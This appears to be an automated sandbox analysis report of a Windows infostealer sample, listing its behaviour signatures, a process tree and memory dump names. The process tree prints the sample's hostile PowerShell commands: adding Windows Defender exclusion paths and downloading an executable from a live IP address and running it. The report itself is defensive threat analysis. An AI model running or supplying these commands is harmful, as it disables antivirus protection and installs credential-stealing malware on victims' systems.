Analysis
- max time kernel
146s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20240611-en - resource tags
- submitted
16/06/2024, 09:56
General
- Target ba13ce53a9e5427803d6f1a70a46823277474be01f80349399b856ce299a627e.exe
- Size 303KB
- Sample240616-lyeepasfrk
- SHA256 ba13ce53a9e5427803d6f1a70a46823277474be01f80349399b856ce299a627e
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file
- .NET Reactor proctector 3 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Executes dropped EXE 1 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 35 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\ba13ce53a9e5427803d6f1a70a46823277474be01f80349399b856ce299a627e.exe"C:\Users\Admin\AppData\Local\Temp\ba13ce53a9e5427803d6f1a70a46823277474be01f80349399b856ce299a627e.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Invoke-WebRequest -Uri 'http://91.92.248.15/server/newproject/PowerSu.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\OfficielNet.exe'; Start-Process 'C:\Users\Admin\AppData\Roaming\OfficielNet.exe'"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\OfficielNet.exe"C:\Users\Admin\AppData\Roaming\OfficielNet.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Hrwzwwvs.tmpdb
Ndywyj.tmpdb
__PSScriptPolicyTest_mwjrs1kv.afe.ps1
OfficielNet.exe
memory/2436-1-0x0000000000910000-0x0000000000962000-memory.dmp
memory/2436-2-0x0000000075150000-0x0000000075901000-memory.dmp
memory/2436-0-0x000000007515E000-0x000000007515F000-memory.dmp
memory/2436-100-0x0000000075150000-0x0000000075901000-memory.dmp
memory/2436-72-0x0000000075150000-0x0000000075901000-memory.dmp
memory/2436-71-0x000000007515E000-0x000000007515F000-memory.dmp
memory/2964-135-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-121-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-2418-0x000002382EB90000-0x000002382EBE0000-memory.dmp
memory/2964-2406-0x000002382EAA0000-0x000002382EB1A000-memory.dmp
memory/2964-2405-0x000002382EA10000-0x000002382EA3C000-memory.dmp
memory/2964-2404-0x000002382E980000-0x000002382E9CC000-memory.dmp
memory/2964-2403-0x000002382E8E0000-0x000002382E97E000-memory.dmp
memory/2964-2402-0x00000238150A0000-0x00000238150A8000-memory.dmp
memory/2964-110-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-127-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-129-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-111-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-149-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-155-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-113-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-115-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-117-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-119-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-123-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-131-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-133-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-137-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-139-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-141-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-143-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-145-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-147-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-151-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-153-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-157-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-161-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-163-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-98-0x0000023813180000-0x0000023813276000-memory.dmp
memory/2964-165-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-107-0x0000023814FA0000-0x0000023815079000-memory.dmp
memory/2964-108-0x000002382E540000-0x000002382E618000-memory.dmp
memory/2964-109-0x000002382E620000-0x000002382E736000-memory.dmp
memory/2964-125-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-159-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-171-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-169-0x000002382E620000-0x000002382E730000-memory.dmp
memory/2964-167-0x000002382E620000-0x000002382E730000-memory.dmp
memory/3656-63-0x0000000007B70000-0x0000000007B8A000-memory.dmp
memory/3656-4-0x0000000075150000-0x0000000075901000-memory.dmp
memory/3656-7-0x0000000075150000-0x0000000075901000-memory.dmp
memory/3656-10-0x0000000005F40000-0x0000000005FA6000-memory.dmp
memory/3656-30-0x0000000075150000-0x0000000075901000-memory.dmp
memory/3656-47-0x0000000071290000-0x00000000712DC000-memory.dmp
memory/3656-69-0x0000000075150000-0x0000000075901000-memory.dmp
memory/4904-86-0x0000000008900000-0x0000000008EA6000-memory.dmp
memory/4904-85-0x00000000079A0000-0x00000000079C2000-memory.dmp
memory/4904-82-0x0000000005F90000-0x00000000062E7000-memory.dmp
memory/4932-12-0x0000000005B60000-0x0000000005EB7000-memory.dmp
memory/4932-46-0x0000000075150000-0x0000000075901000-memory.dmp
memory/4932-5-0x00000000053B0000-0x00000000059DA000-memory.dmp
memory/4932-11-0x0000000075150000-0x0000000075901000-memory.dmp
memory/4932-62-0x0000000007600000-0x0000000007615000-memory.dmp
memory/4932-61-0x00000000075F0000-0x00000000075FE000-memory.dmp
memory/4932-6-0x0000000075150000-0x0000000075901000-memory.dmp
memory/4932-60-0x00000000075C0000-0x00000000075D1000-memory.dmp
memory/4932-59-0x0000000007640000-0x00000000076D6000-memory.dmp
memory/4932-58-0x0000000007430000-0x000000000743A000-memory.dmp
memory/4932-56-0x00000000079F0000-0x000000000806A000-memory.dmp
memory/4932-57-0x00000000073B0000-0x00000000073CA000-memory.dmp
memory/4932-70-0x0000000075150000-0x0000000075901000-memory.dmp
memory/4932-64-0x00000000076F0000-0x00000000076F8000-memory.dmp
memory/4932-45-0x0000000007250000-0x00000000072F4000-memory.dmp
memory/4932-44-0x0000000075150000-0x0000000075901000-memory.dmp
memory/4932-34-0x0000000071290000-0x00000000712DC000-memory.dmp
memory/4932-43-0x0000000006630000-0x000000000664E000-memory.dmp
memory/4932-33-0x0000000007210000-0x0000000007244000-memory.dmp
memory/4932-32-0x00000000060F0000-0x000000000613C000-memory.dmp
memory/4932-31-0x0000000006060000-0x000000000607E000-memory.dmp
memory/4932-9-0x0000000005160000-0x00000000051C6000-memory.dmp
memory/4932-27-0x0000000075150000-0x0000000075901000-memory.dmp
memory/4932-8-0x00000000050C0000-0x00000000050E2000-memory.dmp
memory/4932-3-0x0000000004C20000-0x0000000004C56000-memory.dmp